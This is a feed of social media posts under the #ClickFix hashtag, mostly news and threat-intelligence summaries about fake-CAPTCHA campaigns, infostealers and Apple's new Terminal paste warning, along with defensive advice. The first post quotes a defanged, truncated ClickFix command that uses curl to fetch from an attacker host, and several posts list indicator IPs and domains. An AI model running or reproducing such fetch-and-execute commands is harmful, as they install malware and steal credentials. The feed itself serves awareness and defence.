#clickfix

@0v3rmu53d.bsky.social

3 hours ago

heethcote/.com/file.js
Or zgsjyxzx/.com/file.js
Or stromao/.com/file.js
#clickfix base64
-> cmd /c “curl -s Hxxps://oeannon/.com/t2?tk=…

The Daily Tech Feed

@thedailytechfeed.com

5 hours ago

Cybercriminals are exploiting ClickFix tactics to deploy Node.js-based RATs via Tor, evading detection. Stay vigilant! #CyberSecurity #ClickFix #MalwareAlert Link: thedailytechfeed.com/cybercrimina...

Hackread.com

@hackread.bsky.social

12 hours ago

New ClickFix Attack Uses Node.js Malware via Tor to Steal Crypto Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows.

That “I’m not a robot” click could drain your crypto. A new ClickFix attack uses #Node.js malware and Tor to quietly take over Windows systems and steal wallets, all triggered by a fake CAPTCHA.

Read: hackread.com/clickfix-att...

#CyberSecurity #Crypto #Malware #ClickFix #Windows #Tor

Brad

@malware-traffic-analysis.net

2 days ago

SmartApeSG script injected into page from compromised website.

SmartApeSG fake CAPTCHA page with ClickFix instructions.

Malware delivered through SmartApeSG persistent on an infected Windows host.

2026-04-06 (Monday): #ClickFix activity from the #SmartApeSG campaign. Not sure what malware was sent through the fake CAPTCHA page is this time, but it's not the usual.

Indicators, a #pcap of the traffic, malware samples and other info available at malware-traffic-analysis.net/2026/04/06/i...

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@2rzikkbou3ntafnir2qmmse0gwz.activitypub.awakari.com.ap.brid.gy

2 days ago

Last week on Malwarebytes Labs: * That dream job offer from Coca-Cola or Ferrari? It’s a trap for your passwords * Blocking children from social media is a badly executed good idea * Apple expands “DarkSword” patches to iOS 18.7.7 * Malwarebytes Privacy VPN receives full third-party audit * Wikipedia’s AI agent row likely just the beginning of the bot-ocalypse * WhatsApp on Windows users targeted in new campaign, warns Microsoft * Why we’re still not doing April Fools’ Day * Asking AI for personal advice is a bad idea, Stanford study shows * Axios supply chain attack chops away at npm trust * New macOS security feature will alert users about possible ClickFix attacks Stay safe! * * * **We don’t just report on data privacy—we help you remove yourpersonal information** Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.

A week in security (March 30 – April 5) A list of topics we covered in the week of March 30 to April 5 of 2026 Last week on Malwarebytes Labs: That dream job offer from Coca-Cola or Ferrari? It...

#News #clickfix #DarkSword #whatsapp

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Ahmandonk

@ahmandonk.bsky.social

4 days ago

📰 Malware Infostealer Baru "Torg Grabber" Targetkan 728 Dompet Kripto

👉 Baca artikel lengkap di sini: ahmandonk.com/2026/04/04/malware-infos...

#beritaTeknologi #clickfix #dompetKripto #ekstensiBrowser #infostealer #keamananSiber #malw

Armada

@armada-ops.com

6 days ago

Because the user manually initiates the execution through the native Windows Run dialog, this tactic frequently bypasses standard EDR behavioral alerts.

#InfoSec #CyberSecurity #RedTeam #Malware #Infostealer #Technology #Microsoft #ClickFix #Armada #ArmadaOps #Hacking #ThreatIntel

The Daily Tech Feed

@thedailytechfeed.com

1 week ago

Apple's macOS Tahoe 26.4 introduces new security features to combat ClickFix attacks, enhancing user protection against social engineering threats. #Apple #macOS #CyberSecurity #ClickFix Link: thedailytechfeed.com/apple-boosts...

Sakaijjang

@sakaijjang.bsky.social

1 week ago

macOS 사용자 개인정보를 노리는 ClickFix(클릭픽스)-update-check 오늘은 macOS 환경을 노리는 ClickFix(클릭픽스) 인 update-check 은 macOS 정보 탈취 악성코드를 배포하기 위해서 제작된 클릭픽스 사이트입니다.유포 사이트update-check(.)com그리고 해당 사이트에 접속하면 정상적인 Cloudflare 같이 돼 있지만 실제로는 ClickFix(클릭픽스)를 통해서 사용자의 Terminal를 실...

macOS 사용자 개인정보를 노리는 ClickFix(클릭픽스)-update-check
wezard4u.tistory.com/429745
#macOS #클릭픽스 #ClickFix

The Daily Tech Feed

@thedailytechfeed.com

1 week ago

New ClickFix variant exploits rundll32.exe & WebDAV to bypass detection, delivering malware stealthily. Stay vigilant! #CyberSecurity #ClickFix #MalwareAlert Link: thedailytechfeed.com/new-clickfix...

The Daily Tech Feed

@thedailytechfeed.com

1 week ago

DeepLoad malware combines ClickFix deception with WMI execution for stealthy infections. Stay informed and protect your systems. #CyberSecurity #Malware #ClickFix #WMI Link: thedailytechfeed.com/deepload-mal...

ReconBee

@reconbee.bsky.social

1 week ago

DeepLoad Malware Uses ClickFix and WMI Persistence to Steal Browser Credentials probably in an effort to trick security tools read more about DeepLoad Malware Uses ClickFix and WMI Persistence to Steal Browser Credentials

DeepLoad Malware Uses ClickFix and WMI Persistence to Steal Browser Credentials reconbee.com/deepload-mal...

#DeepLoadmalware #malwareattack #clickfix #WMI #credentials #cybersecurity #cyberattack

Factide

@factide.com

1 week ago

macOS Now Second-Guesses Your Terminal Paste Apple’s latest macOS release quietly inserts a safety check between copy and execute in Terminal. The move targets ClickFix scams, but Apple hasn’t documented how it decides which commands deserve a r...

📍Apple Introduces macOS Terminal Warning to Thwart ClickFix Attacks.

macOS Tahoe 26.4 now delays the execution of pasted Terminal commands, issuing a warning to protect users from ClickFix social engineering attacks that trick...

#ClickFix #MacSecurity #Apple #InfoSec

factide.com/apple-introd...

Cybersecurity News Everyday

@hendryadrian.bsky.social

1 week ago

Apple adds macOS Terminal warning to block ClickFix attacks Apple's macOS Tahoe 26.4 introduces a Terminal protection that delays execution of pasted commands and displays a warning to help block ClickFix social‑engineering attacks. The prompt halts execution, reassures users no damage occurred, and advises caution while still allowing users to proceed if they understand the command. #macOSTahoe #ClickFix

Apple’s macOS Tahoe 26.4 adds a Terminal feature that delays execution of pasted commands and shows a warning to help block ClickFix social engineering attacks, allowing users to review before proceeding. #macOSTahoe #ClickFix #USA

Edwin G. :mapleleafroundel:

@edwing.mstdn.moimeme.ca

1 week ago

Apple added an attempt for a warning in macOS 26.4 for ClickFix attacks in Terminal.app

9to5mac.com/2026/03/25/macos-26-4-ha...
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Apple a ajouté une tentative davertissement dans macOS 26.4 pour les attaques ClickFix dans l’app […]

The New Oil

@thenewoil.org

1 week ago

macOS 26.4 Introduces New Security Feature for Terminal Commands macOS Tahoe 26.4 introduces a new security feature that warns Mac users if they paste certain commands in the Terminal app that may be harmful. For those unaware, the Terminal app allows you to enter text commands to perform tasks on your Mac. Terminal is primarily intended for advanced users and developers, but unfortunately casual users can be tricked into entering harmful commands that can permanently delete files, change user permissions, and cause other problems. Here is what the warning says when it appears: > **Possible malware, Paste blocked** > > Your Mac has not been harmed. > > Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. > > These instructions are commonly offered via websites, chat agents, apps, files, or a phone call. There is a "Paste Anyway" option if you wish to proceed. The warning was spotted by users across Reddit and X over the past week. _Screenshot via "Mr. Macintosh"_ We have yet to determine exactly which commands trigger the warning, which does not always appear. For this reason, always be careful. If you are unfamiliar with how Terminal works, it is probably best to avoid using it entirely. macOS 26.4 was released earlier this week. Related Roundup: macOS Tahoe Tags: Apple Security, Terminal Related Forum: macOS Tahoe This article, "macOS 26.4 Introduces New Security Feature for Terminal Commands" first appeared on MacRumors.com Discuss this article in our forums

#macOS 26.4 Introduces New Security Feature for Terminal Commands

www.macrumors.com/2026/03/25/macos-26-4-te...

#Apple #cybersecurity #ClickFix

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@2rzikkbou3ntafnir2qmmse0gwz.activitypub.awakari.com.ap.brid.gy

1 week ago

Rumor has it that Apple deployed a new security feature in the fight against ClickFix. The new feature will be available for macOS Tahoe 26.4 and it will warn Mac users if they paste certain commands into the Terminal app that might be harmful. If such a command is pasted, macOS will warn the users with a prompt saying: > “Possible malware, Paste blocked. Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.” Paste blocked Reportedly, ClickFix was responsible for more than half of all malware loader activity in 2025. One of the reasons for such success was the fact that the campaigns kept adding—and are continuing to add—new methods to trick users, along with different commands to avoid detection. Generally speaking, ClickFix is a social engineering method that tricks users into infecting their own device with malware. Users are instructed to run specific commands which will download malware, usually an information stealer. ClickFix started by targeting Windows computers, writing the malicious commands to the clipboard, but it didn’t take long before campaigns designed to target Mac users started to show up. In the attacks, users are instructed to copy and paste commands to their Mac Terminal, which is where the new security feature will kick in. It is currently unknown which commands exactly trigger the warnings, but that is a good thing since that visibility would make it easier for the malware authors to get around them. ## How to stay safe MacOS Tahoe users now have an extra layer of protection, as long as they don’t click “Paste Anyway” too quickly even after receiving the security prompt. Malwarebytes Browser Guard users already enjoyed this kind of protection. But with ClickFix running rampant and inventing new methods all the time, it’s important to be aware, careful, and protected. * **Slow down.** Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly. * **Avoid running commands or scripts from untrusted sources.** Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding. * **Limit the use of copy-paste for commands.** Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text. * **Secure your devices.** Use an up-to-date real-time anti-malware solution with a web protection component. * **Educate yourself on evolving attack techniques.** Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog! **Pro tip:** Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard? * * * **We don’t just report on threats—we remove them** Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

New macOS security feature will alert users about possible ClickFix attacks Apple introduced an extra layer of protection against ClickFix attacks, only for macOS Tahoe 26.4 and later Rumor has it ...

#News #clickfix #don't #paste #MacOS #Tahoe

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The New Oil

@thenewoil.org

1 week ago

New Infinity Stealer malware grabs macOS data via ClickFix lures A new info-stealing malware named Infinity Stealer is targeting macOS systems with a Python payload packaged as an executable using the open-source Nuitka compiler. [...]

New #InfinityStealer #malware grabs #macOS data via #ClickFix lures

www.bleepingcomputer.com/news/security/new-infini...

#cybersecurity

ReconBee

@reconbee.bsky.social

1 week ago

New Infinity Stealer malware grabs macOS data via ClickFix lures making reverse engineering considerably more difficult read more about New Infinity Stealer malware grabs macOS data via ClickFix lures

New Infinity Stealer malware grabs macOS data via ClickFix lures reconbee.com/new-infinity...

#infinitystealermalware #malware #macOS #clickfix #cyberattack

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@2rzikkbou3ntafnir2qmmse0gwz.activitypub.awakari.com.ap.brid.gy

1 week ago

Cloudflare-Themed ClickFix Attack Drops Infiniti Stealer on Macs The infection chain includes a fake CAPTCHA page, a Bash script, a Nuitka loader, and the Python-based infostealer. The post Cloudfl...

#Malware #& #Threats #ClickFix #infostealer #Mac #malware

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The Daily Tech Feed

@thedailytechfeed.com

1 week ago

Beware of the SmartApeSG campaign using ClickFix to deploy multiple malware strains like Remcos RAT and StealC. Stay vigilant and educate users on social engineering tactics. #CyberSecurity #MalwareAlert #ClickFix Link: thedailytechfeed.com/smartapesg-c...

CySecurity News

@cysecuritynews.bsky.social

1 week ago

LeakNet Ransomware Uses ClickFix and Deno for Stealthy Attacks  LeakNet ransomware has changed its approach by pairing ClickFix social-engineering lures with a Deno-based loader, making its intrusion chain harder to spot. The group is using compromised websites to trick users into running malicious commands, then executing payloads in memory to reduce obvious traces on disk.  Security researchers say this is a notable shift because ClickFix replaces older access methods like stolen credentials with a user-triggered infection path. Once the victim interacts with the fake prompt, scripts such as PowerShell and VBS can launch the next stage, often with misleading file names that look routine rather than malicious.  The Deno runtime is the second major piece of the campaign. Deno is a legitimate JavaScript and TypeScript runtime, but LeakNet is abusing it in a “bring your own runtime” style so it can run Base64-encoded code directly in memory, fingerprint the host, contact command-and-control servers, and repeatedly fetch additional code.  That design helps the attackers stay stealthy because it minimizes the amount of malware written to disk and can blend in with normal software activity better than a custom loader might. Researchers also note that LeakNet is building a repeatable post-exploitation flow that can include lateral movement, payload staging, and eventually ransomware deployment.  For organizations, the primary threat is that traditional file-based detection may miss the earliest stages of the attack. A campaign that starts with a convincing browser prompt or a fake verification page can quickly turn into an internal breach if users are not trained to question unexpected instructions.  Safety recommendations  To mitigate threat, companies should train users to avoid following browser-based “fix” prompts, especially on unfamiliar or compromised sites. They should also restrict PowerShell, VBS, and other script interpreters where possible, monitor for Deno running outside developer workflows, watch for unusual PsExec or DLL sideloading activity, and segment networks so one compromised host cannot easily spread access. Finally, maintain tested offline backups and keep a playbook for rapid isolation, because fast containment is often the difference between a blocked intrusion and a full ransomware incident.

LeakNet Ransomware Uses ClickFix and Deno for Stealthy Attacks #ClickFix #CyberAttacks #Deno

lazarusholic

@lazarusholic.bsky.social

1 week ago

"EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons" published by eSentire. #ClickFix, #EtherHiding, #EtherRAT, #DPRK, #CTI www.esentire.com/blog/etherrat-sys-info-m...

Cybersecurity News Everyday

@hendryadrian.bsky.social

2 weeks ago

ClickFix Campaigns Targeting Windows and macOS Insikt Group tracked five ClickFix clusters that use fraudulent human‑verification lures to trick victims into copying and executing obfuscated commands in native tools like the Windows Run dialog and macOS Terminal. These campaigns leverage living‑off‑the‑land binaries and in‑memory execution to stage payloads such as NetSupport RAT and MacSync while operating via disposable, often Cloudflare‑protected infrastructure to maintain continuity. #ClickFix #NetSupportRAT

Insikt Group tracks five ClickFix clusters using fake human-verification lures to run obfuscated commands on Windows and macOS. Payloads include NetSupport RAT and MacSync via in-memory execution. #ClickFix #InMemoryAttack #USA

piggo

@pigondrugs.bsky.social

2 weeks ago

~Recordedfuture~
Fake verification prompts trick users into running malicious commands via native tools, bypassing browser security to deploy RATs.
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IOCs: 62. 164. 177. 230, 152. 89. 244. 70, 45. 144. 233. 192
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#ClickFix #Malware #ThreatIntel

ServerSpan

@serverspan.com

2 weeks ago

Your WordPress site looks clean to you. Your visitors see a fake Cloudflare CAPTCHA telling them to run PowerShell. That's ClickFix.

Runbook:
https://go.enginyr.ing/spn/dzlEH

#ServerSpan #WordPress #CyberSecurity #Malware #ClickFix #SysAdmin #VPS

lazarusholic

@lazarusholic.bsky.social

2 weeks ago

"NICKEL ALLEY strategy: Fake it ‘til you make it" published by Sophos. #NickelAlley, #ClickFix, #ContagiousInterview, #PylangGhost, #DPRK, #CTI www.sophos.com/en-us/blog/nickel-alley-...

piggo

@pigondrugs.bsky.social

2 weeks ago

~Sophos~
DPRK's NICKEL ALLEY targets tech workers with fake job interviews and ClickFix tactics to deploy PyLangGhost RAT.
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IOCs: 95. 169. 180. 140, 144. 172. 93. 88, talentacq. pro
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#ClickFix #NICKELALLEY #ThreatIntel

CySecurity News

@cysecuritynews.bsky.social

2 weeks ago

Termite Ransomware Linked to Velvet Tempest's ClickFix, CastleRAT Attacks  Cyber threat actors known as Velvet Tempest have been observed deploying sophisticated attacks involving Termite ransomware, utilizing the ClickFix social engineering technique and the CastleRAT backdoor.These intrusions, tracked by MalBeacon researchers, unfolded over 12 days in a simulated U.S. non-profit environment with over 3,000 endpoints.Velvet Tempest, active for at least five years, has affiliations with major ransomware strains like Ryuk, REvil, Conti, BlackCat, LockBit, and RansomHub.  The attacks begin with malvertising campaigns directing victims to fake CAPTCHA pages that trick users into pasting obfuscated PowerShell commands into the Windows Run dialog This ClickFix method bypasses browser security features, chaining cmd.exe processes and using legitimate tools like finger.exe to fetch malware loaders, often disguised as PDF archives.Subsequent stages involve PowerShell downloads, .NET compilation via csc.exe, and Python-based persistence in ProgramData directories.  Once inside, attackers conduct Active Directory reconnaissance, host discovery, and credential harvesting from Chrome browsers using hosted PowerShell scripts linked to Termite staging servers. They deploy DonutLoader to retrieve CastleRAT, a remote access trojan that steals credentials, logs keystrokes, captures screens, and employs UAC bypass via trusted binaries like ComputerDefaults.exe. CastleRAT hides its command-and-control servers using Steam Community profiles as dead-drop resolvers, blending traffic with legitimate web activity.  Although ransomware deployment was not observed in this intrusion, Termite—a Babuk-based variant emerged in late 2024—employs double-extortion by exfiltrating data before encrypting files. It deletes shadow copies with vssadmin.exe, empties the Recycle Bin, and targets high-profile victims like SaaS provider Blue Yonder and Australian IVF firm Genea. The group exploits vulnerabilities, such as those in Cleo's file transfer software, for initial access via phishing or compromised sites.  Organizations should prioritize defenses against ClickFix by training users on suspicious prompts, monitoring PowerShell abuse, and blocking anomalous tool executions like finger.exe or csc.exe. Implementing deception environments, as used by MalBeacon, aids early detection of such hands-on-keyboard activities. With Velvet Tempest's history of devastating breaches, vigilance against evolving ransomware tactics remains critical in 2026.

Termite Ransomware Linked to Velvet Tempest's ClickFix, CastleRAT Attacks #CastleRAT #ClickFix #CyberAttacks

Cybersecurity News Everyday

@hendryadrian.bsky.social

2 weeks ago

Fake CAPTCHA Campaign: Inside a Multi-Stage Stealer Assault LevelBlue documents a multi-stage, fileless ClickFix campaign that compromises legitimate websites to present fake CAPTCHA prompts which coerce users into executing clipboard-pasted PowerShell commands, enabling in-memory payload delivery via Donut shellcode. The infrastructure is payload-agnostic and rotates multiple commodity stealers and a cryptocurrency clipboard hijacker across numerous C2 servers and fake crypto-exchange sites. #ClickFix #LummaStealer

A multi-stage stealer attack uses compromised legitimate sites to show fake CAPTCHA prompts, tricking users into running clipboard-pasted PowerShell commands delivering in-memory payloads via Donut shellcode. #ClickFix #CryptoHijack #LummaStealer